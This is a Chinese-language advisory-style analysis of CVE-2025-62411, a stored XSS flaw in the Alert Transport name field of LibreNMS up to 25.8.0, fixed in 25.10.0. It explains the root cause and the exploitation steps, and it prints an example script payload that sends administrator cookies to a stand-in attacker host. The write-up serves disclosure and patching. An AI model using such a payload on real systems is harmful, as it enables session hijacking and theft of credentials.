CVE-2025-62411CVE-2025-62411是LibreNMS网络监控系统中的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分为5.5,属于中危级别。LibreNMS是一款基于GPL许可证的社区网络监控系统,广泛用于企业和服务提供商的网络设备监控与告警管理。该漏洞存在于LibreNMS 25.8.0及以下版本的Alert Transports(告警传输)管理功能模块中。具体而言,当管理员在系统中创建新的Alert Transport时,Transport名称(Transport name)字段的输入值未经充分的输入验证和输出编码处理便被存储到数据库中。随后,当其他管理员访问Alert Rules(告警规则)页面时,该存储的恶意名称会在Transports列中直接渲染显示,从而触发任意JavaScript代码在受害管理员浏览器中执行。由于该漏洞需要高权限(PR:H)才能触发——即攻击者本身需要拥有管理员账户——其利用门槛较高,但一旦成功利用,可导致管理员会话被劫持、敏感操作被未授权执行,或进一步利用管理员权限进行更深层次的攻击。该漏洞已在LibreNMS 25.10.0版本中修复,修复方式是对Transport名称字段实施了适当的输出编码(HTML实体编码)处理。该漏洞由GitHub安全顾问团队发现并通过GitHub Security Advisories平台负责任地披露,修复提交对应的commit为706a77085f4d5964f7de9444208ef707e1f79450,对应的安全公告编号为GHSA-frc6-pwgr-c28w。
该漏洞的根源在于LibreNMS Alert Transports管理功能中对用户输入缺乏充分的输出编码机制。在Web应用中,存储型XSS漏洞的产生通常需要满足两个条件:恶意输入被持久化存储到服务器端(如数据库),以及后续在页面渲染时未经过适当的HTML转义/编码直接输出到浏览器。
在LibreNMS的具体实现中,当管理员通过管理界面创建新的Alert Transport时,系统将Transport名称字段的值直接存储到后端数据库中,未对该字段进行严格的输入过滤或HTML特殊字符转义处理。后续,当任何管理员访问Alert Rules页面时,系统会从数据库中读取所有已配置的Transport名称,并在Transports列中以原始HTML形式渲染这些名称。由于浏览器会将这些未编码的HTML/JavaScript内容解析执行,攻击者可以通过精心构造的Transport名称(例如包含`<script>`标签或事件处理器属性的字符串)实现任意JavaScript代码执行。
利用方式如下:攻击者首先需要拥有一个LibreNMS管理员账户(满足PR:H的前置条件),然后导航至Alert Transports管理页面,在创建新Transport时将恶意JavaScript代码(如`<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`)作为Transport名称提交。系统存储该名称后,任何后续访问Alert Rules页面的管理员都会在浏览器中执行该恶意脚本。攻击者可利用此方式窃取管理员会话Cookie、CSRF令牌,或通过管理员权限执行敏感操作(如创建/修改告警规则、访问设备凭据等)。值得注意的是,该漏洞的CVSS向量中包含S:C(Scope Changed),表明跨安全上下文的影响可能扩大。